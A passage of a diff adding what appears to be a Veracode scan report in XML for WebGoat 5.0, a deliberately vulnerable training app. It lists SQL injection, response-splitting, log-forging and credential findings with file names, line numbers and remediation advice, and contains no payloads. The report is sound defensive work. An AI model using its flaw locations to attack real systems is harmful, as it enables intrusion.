+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.java\"
+        line=\"178\" sourcefilepath=\"org/owasp/webgoat/lessons/SQLInjection/\" scope=\"org.owasp.webgoat.lessons.SQLInjection.ViewProfile\"
+        functionprototype=\"session.Employee getEmployeeProfile_BACKUP(session.WebSession,
+        java.lang.String, java.lang.String)\" functionrelativelocation=\"20\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"166\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"WsSqlInjection.java\"
+        line=\"240\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.WsSqlInjection\"
+        functionprototype=\"java.sql.ResultSet getResults(java.lang.String)\" functionrelativelocation=\"80\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n</staticflaws>\n<dynamicflaws>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"275\" module=\"dynamic_analysis\"
+        type=\"Improper Neutralization of Special Elements used in an SQL Command
+        ('SQL Injection')\" description=\"This database query contains a SQL injection
+        flaw. The function call constructs a dynamic SQL query using a variable derived
+        from user-supplied input. An attacker could exploit this flaw to execute arbitrary
+        SQL queries against the database.\r\n\r\nAvoid dynamically constructing SQL
+        queries. Instead, use parameterized prepared statements to prevent the database
+        from interpreting the contents of bind variables as part of the query. Always
+        validate user-supplied input to ensure that it conforms to the expected format,
+        using centralized data validation routines when possible.\r\n\r\n\r\nCWE (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=89)
+        \r\nOWASP (http://www.owasp.org/index.php/SQL_injection) \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\"
+        note=\"\" cweid=\"89\" remediationeffort=\"3\" categoryid=\"19\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/attack\"
+        vuln_parameter=\"id\"/>\n</dynamicflaws>\n</cwe>\n</category>\n</severity>\n<severity
+        level=\"3\">\n<category categoryid=\"21\" categoryname=\"CRLF Injection\"
+        pcirelated=\"false\">\n<desc>\n<para text=\"The acronym CRLF stands for &quot;Carriage
+        Return, Line Feed&quot; and refers to the sequence of characters used to denote
+        the end of a line of text.  CRLF injection vulnerabilities occur when data
+        enters an application from an untrusted source and is not properly validated
+        before being used.  For example, if an attacker is able to inject a CRLF into
+        a log file, he could append falsified log entries, thereby misleading administrators
+        or cover traces of the attack.  If an attacker is able to inject CRLFs into
+        an HTTP response header, he can use this ability to carry out other attacks
+        such as cache poisoning.  CRLF vulnerabilities primarily affect data integrity.
+        \ \"/>\n</desc>\n<recommendations>\n<para text=\"Apply robust input filtering
+        for all user-supplied data, using centralized data validation routines when
+        possible.  Use output filters to sanitize all output derived from user-supplied
+        input, replacing non-alphanumeric characters with their HTML entity equivalents.\"/>\n</recommendations>\n<cwe
+        cweid=\"113\" cwename=\"Improper Neutralization of CRLF Sequences in HTTP
+        Headers ('HTTP Response Splitting')\" pcirelated=\"false\">\n<description>\n<text
+        text=\"A function call contains an HTTP response splitting flaw.  Writing
+        unsanitized user-supplied input into an HTTP header allows an attacker to
+        manipulate the HTTP response rendered by the browser, leading to cache poisoning
+        and cross-site scripting attacks.\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of CRLF Sequences in
+        HTTP Headers ('HTTP Response Splitting')\" count=\"1\" issueid=\"10\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.http.HttpServletResponse.sendRedirect\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.sendRedirect() contains an
+        HTTP response splitting flaw. Writing unsanitized user-supplied input into
+        an HTTP header allows an attacker to manipulate the HTTP response rendered
+        by the browser, to inject additional headers or an entire response body into
+        the response stream. Injecting headers can be used to trick various security
+        mechanisms in browsers into allowing XSS style attacks. Injecting entire response
+        bodies can not only cause XSS attacks to succeed but may even poison the cache
+        of any intermediary proxies between the clients and the application server.
+        The first argument to sendRedirect() contains tainted data from the variable
+        request.getParameter(). The tainted data originated from an earlier call to
+        javax.servlet.ServletRequest.getParameter.\r\n\r\nEscape, encode, or remove
+        carriage return and line feed characters from user-supplied data before inclusion
+        in HTTP response headers. Whenever possible, use a security library such as
+        ESAPI that provides safe versions of addHeader(), etc. that will automatically
+        remove unexpected carriage returns and line feeds and can be configured to
+        use HTML entity encoding for non-alphanumeric data. Only write custom blacklisting
+        code when absolutely necessary. Always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/113.html)
+        \r\nOWASP (http://www.owasp.org/index.php/HTTP_Response_Splitting) \r\nWASC
+        (http://webappsec.pbworks.com/HTTP-Response-Splitting)\r\n\r\n\" note=\"\"
+        cweid=\"113\" remediationeffort=\"2\" exploitLevel=\"1\" categoryid=\"21\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"config_jsp.java\"
+        line=\"43\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/ConfManagement/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.ConfManagement.config_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"60\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of CRLF Sequences in
+        HTTP Headers ('HTTP Response Splitting')\" count=\"1\" issueid=\"78\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.http.HttpServletResponse.setHeader\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.setHeader() contains an HTTP
+        response splitting flaw. Writing unsanitized user-supplied input into an HTTP
+        header allows an attacker to manipulate the HTTP response rendered by the
+        browser, to inject additional headers or an entire response body into the
+        response stream. Injecting headers can be used to trick various security mechanisms
+        in browsers into allowing XSS style attacks. Injecting entire response bodies
+        can not only cause XSS attacks to succeed but may even poison the cache of
+        any intermediary proxies between the clients and the application server. The
+        second argument to setHeader() contains tainted data from the variable cookie.
+        The tainted data originated from an earlier call to javax.servlet.http.HttpServletRequest.getCookies.\r\n\r\nEscape,
+        encode, or remove carriage return and line feed characters from user-supplied
+        data before inclusion in HTTP response headers. Whenever possible, use a security
+        library such as ESAPI that provides safe versions of addHeader(), etc. that
+        will automatically remove unexpected carriage returns and line feeds and can
+        be configured to use HTML entity encoding for non-alphanumeric data. Only
+        write custom blacklisting code when absolutely necessary. Always validate
+        user-supplied input to ensure that it conforms to the expected format, using
+        centralized data validation routines when possible.\r\n\r\nReferences: \r\nCWE
+        (http://cwe.mitre.org/data/definitions/113.html) \r\nOWASP (http://www.owasp.org/index.php/HTTP_Response_Splitting)
+        \r\nWASC (http://webappsec.pbworks.com/HTTP-Response-Splitting)\r\n\r\n\"
+        note=\"\" cweid=\"113\" remediationeffort=\"2\" exploitLevel=\"1\" categoryid=\"21\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"HttpOnly.java\"
+        line=\"198\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.HttpOnly\"
+        functionprototype=\"void setHttpOnly(session.WebSession)\" functionrelativelocation=\"89\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of CRLF Sequences in
+        HTTP Headers ('HTTP Response Splitting')\" count=\"1\" issueid=\"204\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.http.HttpServletResponse.setHeader\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.setHeader() contains an HTTP
+        response splitting flaw. Writing unsanitized user-supplied input into an HTTP
+        header allows an attacker to manipulate the HTTP response rendered by the
+        browser, to inject additional headers or an entire response body into the
+        response stream. Injecting headers can be used to trick various security mechanisms
+        in browsers into allowing XSS style attacks. Injecting entire response bodies
+        can not only cause XSS attacks to succeed but may even poison the cache of
+        any intermediary proxies between the clients and the application server. The
+        second argument to setHeader() contains tainted data from the variable cookie.
+        The tainted data originated from an earlier call to javax.servlet.http.HttpServletRequest.getCookies.\r\n\r\nEscape,
+        encode, or remove carriage return and line feed characters from user-supplied
+        data before inclusion in HTTP response headers. Whenever possible, use a security
+        library such as ESAPI that provides safe versions of addHeader(), etc. that
+        will automatically remove unexpected carriage returns and line feeds and can
+        be configured to use HTML entity encoding for non-alphanumeric data. Only
+        write custom blacklisting code when absolutely necessary. Always validate
+        user-supplied input to ensure that it conforms to the expected format, using
+        centralized data validation routines when possible.\r\n\r\nReferences: \r\nCWE
+        (http://cwe.mitre.org/data/definitions/113.html) \r\nOWASP (http://www.owasp.org/index.php/HTTP_Response_Splitting)
+        \r\nWASC (http://webappsec.pbworks.com/HTTP-Response-Splitting)\r\n\r\n\"
+        note=\"\" cweid=\"113\" remediationeffort=\"2\" exploitLevel=\"1\" categoryid=\"21\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"HttpOnly.java\"
+        line=\"212\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.HttpOnly\"
+        functionprototype=\"void removeHttpOnly(session.WebSession)\" functionrelativelocation=\"89\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of CRLF Sequences in
+        HTTP Headers ('HTTP Response Splitting')\" count=\"1\" issueid=\"92\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.http.HttpServletResponse.sendRedirect\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.sendRedirect() contains an
+        HTTP response splitting flaw. Writing unsanitized user-supplied input into
+        an HTTP header allows an attacker to manipulate the HTTP response rendered
+        by the browser, to inject additional headers or an entire response body into
+        the response stream. Injecting headers can be used to trick various security
+        mechanisms in browsers into allowing XSS style attacks. Injecting entire response
+        bodies can not only cause XSS attacks to succeed but may even poison the cache
+        of any intermediary proxies between the clients and the application server.
+        The first argument to sendRedirect() contains tainted data from the variable
+        request.getParameter(). The tainted data originated from an earlier call to
+        javax.servlet.ServletRequest.getParameter.\r\n\r\nEscape, encode, or remove
+        carriage return and line feed characters from user-supplied data before inclusion
+        in HTTP response headers. Whenever possible, use a security library such as
+        ESAPI that provides safe versions of addHeader(), etc. that will automatically
+        remove unexpected carriage returns and line feeds and can be configured to
+        use HTML entity encoding for non-alphanumeric data. Only write custom blacklisting
+        code when absolutely necessary. Always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/113.html)
+        \r\nOWASP (http://www.owasp.org/index.php/HTTP_Response_Splitting) \r\nWASC
+        (http://webappsec.pbworks.com/HTTP-Response-Splitting)\r\n\r\n\" note=\"\"
+        cweid=\"113\" remediationeffort=\"2\" exploitLevel=\"1\" categoryid=\"21\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"redirect_jsp.java\"
+        line=\"43\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/General/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.General.redirect_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"62\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of CRLF Sequences in
+        HTTP Headers ('HTTP Response Splitting')\" count=\"1\" issueid=\"170\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.http.HttpServletResponse.addCookie\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.addCookie() contains an HTTP
+        response splitting flaw. Writing unsanitized user-supplied input into an HTTP
+        header allows an attacker to manipulate the HTTP response rendered by the
+        browser, to inject additional headers or an entire response body into the
+        response stream. Injecting headers can be used to trick various security mechanisms
+        in browsers into allowing XSS style attacks. Injecting entire response bodies
+        can not only cause XSS attacks to succeed but may even poison the cache of
+        any intermediary proxies between the clients and the application server. The
+        first argument to addCookie() contains tainted data from the variable cookies.
+        The tainted data originated from an earlier call to javax.servlet.http.HttpServletRequest.getCookies.\r\n\r\nEscape,
+        encode, or remove carriage return and line feed characters from user-supplied
+        data before inclusion in HTTP response headers. Whenever possible, use a security
+        library such as ESAPI that provides safe versions of addHeader(), etc. that
+        will automatically remove unexpected carriage returns and line feeds and can
+        be configured to use HTML entity encoding for non-alphanumeric data. Only
+        write custom blacklisting code when absolutely necessary. Always validate
+        user-supplied input to ensure that it conforms to the expected format, using
+        centralized data validation routines when possible.\r\n\r\nReferences: \r\nCWE
+        (http://cwe.mitre.org/data/definitions/113.html) \r\nOWASP (http://www.owasp.org/index.php/HTTP_Response_Splitting)
+        \r\nWASC (http://webappsec.pbworks.com/HTTP-Response-Splitting)\r\n\r\n\"
+        note=\"\" cweid=\"113\" remediationeffort=\"2\" exploitLevel=\"1\" categoryid=\"21\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"WebSession.java\"
+        line=\"335\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.WebSession\"
+        functionprototype=\"void eatCookies()\" functionrelativelocation=\"79\"/>\n</staticflaws>\n</cwe>\n<cwe
+        cweid=\"117\" cwename=\"Improper Output Neutralization for Logs\" pcirelated=\"false\"
+        owasp=\"929\">\n<description>\n<text text=\"A function call could result in
+        a log forging attack.  Writing unsanitized user-supplied data into a log file
+        allows an attacker to forge log entries or inject malicious content into log
+        files.  Corrupted log files can be used to cover an attacker's tracks or as
+        a delivery mechanism for an attack on a log viewing or processing utility.
+        \ For example, if a web administrator uses a browser-based utility to review
+        logs, a cross-site scripting attack might be possible.\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"3\" categoryname=\"Improper Output Neutralization for Logs\" count=\"1\"
+        issueid=\"214\" module=\"WebGoat-5.0-with-jsp.war\" type=\"javax.servlet.GenericServlet.log\"
+        description=\"This call to javax.servlet.GenericServlet.log() could result
+        in a log forging attack. Writing unsanitized user-supplied data into a log
+        file allows an attacker to forge log entries or inject malicious content into
+        log files. Corrupted log files can be used to cover an attacker's tracks or
+        as a delivery mechanism for an attack on a log viewing or processing utility.
+        For example, if a web administrator uses a browser-based utility to review
+        logs, a cross-site scripting attack might be possible. The first argument
+        to log() contains tainted data from the variable output. The tainted data
+        originated from an earlier call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid
+        directly embedding user input in log files when possible. Sanitize user-supplied
+        data used to construct log entries by using a safe logging mechanism such
+        as the OWASP ESAPI Logger, which will automatically remove unexpected carriage
+        returns and line feeds and can be configured to use HTML entity encoding for
+        non-alphanumeric data. Only write custom blacklisting code when absolutely
+        necessary. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/117.html) \r\nOWASP (http://www.owasp.org/index.php/Log_injection)
+        \r\nWASC (http://webappsec.pbworks.com/Improper-Output-Handling)\r\n\r\n\"
+        note=\"\" cweid=\"117\" remediationeffort=\"2\" exploitLevel=\"1\" categoryid=\"21\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"npp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"HammerHead.java\"
+        line=\"306\" sourcefilepath=\"org/owasp/webgoat/\" scope=\"org.owasp.webgoat.HammerHead\"
+        functionprototype=\"void log(javax.servlet.http.HttpServletRequest, java.lang.String)\"
+        functionrelativelocation=\"84\"/>\n</staticflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"17\" categoryname=\"Code Quality\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Code quality issues stem from failure to follow good coding practices
+        and can lead to unpredictable behavior. These may include but are not limited
+        to:\">\n<bulletitem text=\"Neglecting to remove debug code or dead code\"/>\n<bulletitem
+        text=\"Improper resource management, such as using a pointer after it has
+        been freed\"/>\n<bulletitem text=\"Using the incorrect operator to compare
+        objects\"/>\n<bulletitem text=\"Failing to follow an API or framework specification\"/>\n<bulletitem
+        text=\"Using a language feature or API in an unintended manner\"/>\n</para>\n<para
+        text=\"While code quality flaws are generally less severe than other categories
+        and usually are not directly exploitable, they may serve as indicators that
+        developers are not following practices that increase the reliability and security
+        of an application.  For an attacker, code quality issues may provide an opportunity
+        to stress the application in unexpected ways.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"The wide variance of code quality issues makes it impractical to generalize
+        how these issues should be addressed.  Refer to individual categories for
+        specific recommendations. \"/>\n</recommendations>\n<cwe cweid=\"489\" cwename=\"Leftover
+        Debug Code\" pcirelated=\"false\">\n<description>\n<text text=\"A method may
+        be leftover debug code that creates an unintended entry point in a web application.
+        \ Although this is an acceptable practice during product development, classes
+        that are part of a production J2EE application should not define a main()
+        method.  Whether this method can be remotely invoked depends on the configuration
+        of the J2EE container and the application itself.\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"3\" categoryname=\"Leftover Debug Code\" count=\"1\" issueid=\"70\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"main\" description=\"The main()
+        method may be leftover debug code that creates an unintended entry point in
+        a web application. Although this is an acceptable practice during product
+        development, classes that are part of a production J2EE application should
+        not define a main() method. Whether this method can be remotely invoked depends
+        on the configuration of the J2EE container and the application itself.\r\n\r\nEliminate
+        unnecessary entry points in deployed web applications to reduce the attack
+        surface. Ensure that this is not a backdoor disguised as debugging functionality.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/489.html)\r\n\r\n\" note=\"\"
+        cweid=\"489\" remediationeffort=\"2\" exploitLevel=\"-1\" categoryid=\"17\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"CreateDB.java\"
+        line=\"53\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.CreateDB\"
+        functionprototype=\"void main(java.lang.String  [])\" functionrelativelocation=\"0\"/>\n<flaw
+        severity=\"3\" categoryname=\"Leftover Debug Code\" count=\"1\" issueid=\"42\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"main\" description=\"The main()
+        method may be leftover debug code that creates an unintended entry point in
+        a web application. Although this is an acceptable practice during product
+        development, classes that are part of a production J2EE application should
+        not define a main() method. Whether this method can be remotely invoked depends
+        on the configuration of the J2EE container and the application itself.\r\n\r\nEliminate
+        unnecessary entry points in deployed web applications to reduce the attack
+        surface. Ensure that this is not a backdoor disguised as debugging functionality.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/489.html)\r\n\r\n\" note=\"\"
+        cweid=\"489\" remediationeffort=\"2\" exploitLevel=\"-1\" categoryid=\"17\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Encoding.java\"
+        line=\"744\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.Encoding\"
+        functionprototype=\"void main(java.lang.String  [])\" functionrelativelocation=\"0\"/>\n<flaw
+        severity=\"3\" categoryname=\"Leftover Debug Code\" count=\"1\" issueid=\"243\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"main\" description=\"The main()
+        method may be leftover debug code that creates an unintended entry point in
+        a web application. Although this is an acceptable practice during product
+        development, classes that are part of a production J2EE application should
+        not define a main() method. Whether this method can be remotely invoked depends
+        on the configuration of the J2EE container and the application itself.\r\n\r\nEliminate
+        unnecessary entry points in deployed web applications to reduce the attack
+        surface. Ensure that this is not a backdoor disguised as debugging functionality.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/489.html)\r\n\r\n\" note=\"\"
+        cweid=\"489\" remediationeffort=\"2\" exploitLevel=\"-1\" categoryid=\"17\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Exec.java\"
+        line=\"505\" sourcefilepath=\"org/owasp/webgoat/util/\" scope=\"org.owasp.webgoat.util.Exec\"
+        functionprototype=\"void main(java.lang.String  [])\" functionrelativelocation=\"0\"/>\n<flaw
+        severity=\"3\" categoryname=\"Leftover Debug Code\" count=\"1\" issueid=\"133\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"main\" description=\"The main()
+        method may be leftover debug code that creates an unintended entry point in
+        a web application. Although this is an acceptable practice during product
+        development, classes that are part of a production J2EE application should
+        not define a main() method. Whether this method can be remotely invoked depends
+        on the configuration of the J2EE container and the application itself.\r\n\r\nEliminate
+        unnecessary entry points in deployed web applications to reduce the attack
+        surface. Ensure that this is not a backdoor disguised as debugging functionality.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/489.html)\r\n\r\n\" note=\"\"
+        cweid=\"489\" remediationeffort=\"2\" exploitLevel=\"-1\" categoryid=\"17\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"WebgoatProperties.java\"
+        line=\"114\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.WebgoatProperties\"
+        functionprototype=\"void main(java.lang.String  [])\" functionrelativelocation=\"0\"/>\n</staticflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"10\" categoryname=\"Credentials Management\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Improper management of credentials, such as usernames and passwords,
+        may compromise system security.  In particular, storing passwords in plaintext
+        or hard-coding passwords directly into application code are design issues
+        that cannot be easily remedied.  Not only does embedding a password allow
+        all of the project's developers to view the password, it also makes fixing
+        the problem extremely difficult.  Once the code is in production, the password
+        cannot be changed without patching the software.  If a hard-coded password
+        is compromised in a commercial product, all deployed instances may be vulnerable
+        to attack, putting customers at risk.\"/>\n<para text=\"One variation on hard-coding
+        plaintext passwords is to hard-code a constant string which is the result
+        of a cryptographic one-way hash.  For example, instead of storing the word
+        &quot;secret,&quot; the application stores an MD5 hash of the word.  This
+        is a common mechanism for obscuring hard-coded passwords from casual viewing
+        but does not significantly reduce risk.  However, using cryptographic hashes
+        for data stored outside the application code can be an effective practice.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"Avoid storing passwords in easily accessible locations, and never store
+        any type of sensitive data in plaintext.  Avoid using hard-coded usernames,
+        passwords, or hash constants whenever possible, particularly in relation to
+        security-critical components.   Store passwords out-of-band from the application
+        code.  Follow best practices for protecting credentials stored in alternate
+        locations such as configuration or properties files.\"/>\n</recommendations>\n<cwe
+        cweid=\"256\" cwename=\"Plaintext Storage of a Password\" pcirelated=\"false\"
+        owasp=\"930\">\n<description>\n<text text=\"A method reads and/or stores sensitive
+        information in plaintext, making the data more susceptible to compromise.\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"3\" categoryname=\"Plaintext Storage of a Password\" count=\"1\"
+        issueid=\"223\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.sql.DriverManager.getConnection\"
+        description=\"The java.sql.DriverManager.getConnection() method reads and/or
+        stores sensitive information in plaintext, making the data more susceptible
+        to compromise.\r\n\r\nNever store sensitive data in plaintext. Consider using
+        cryptographic hashes as an alternative to plaintext.\r\n\r\nReferences: \r\nCWE
+        (http://cwe.mitre.org/data/definitions/256.html)\r\n\r\n\" note=\"\" cweid=\"256\"
+        remediationeffort=\"4\" exploitLevel=\"0\" categoryid=\"10\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"DatabaseUtilities.java\"
+        line=\"97\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.DatabaseUtilities\"
+        functionprototype=\"java.sql.Connection makeConnection(void)\" functionrelativelocation=\"72\"/>\n</staticflaws>\n</cwe>\n<cwe
+        cweid=\"259\" cwename=\"Use of Hard-coded Password\" pcirelated=\"false\"
+        owasp=\"930\" sans=\"798\" certjava=\"861\">\n<description>\n<text text=\"A
+        method uses a hard-coded password that may compromise system security in a
+        way that cannot be easily remedied.  The use of a hard-coded password significantly
+        increases the possibility that the account being protected will be compromised.
+        \ Moreover, the password cannot be changed without patching the software.
+        \ If a hard-coded password is compromised in a commercial product, all deployed
+        instances may be vulnerable to attack.\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"3\" categoryname=\"Use of Hard-coded Password\" count=\"1\" issueid=\"28\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"java.sql.DriverManager.getConnection\"
+        description=\"The java.sql.DriverManager.getConnection() method uses a hard-coded
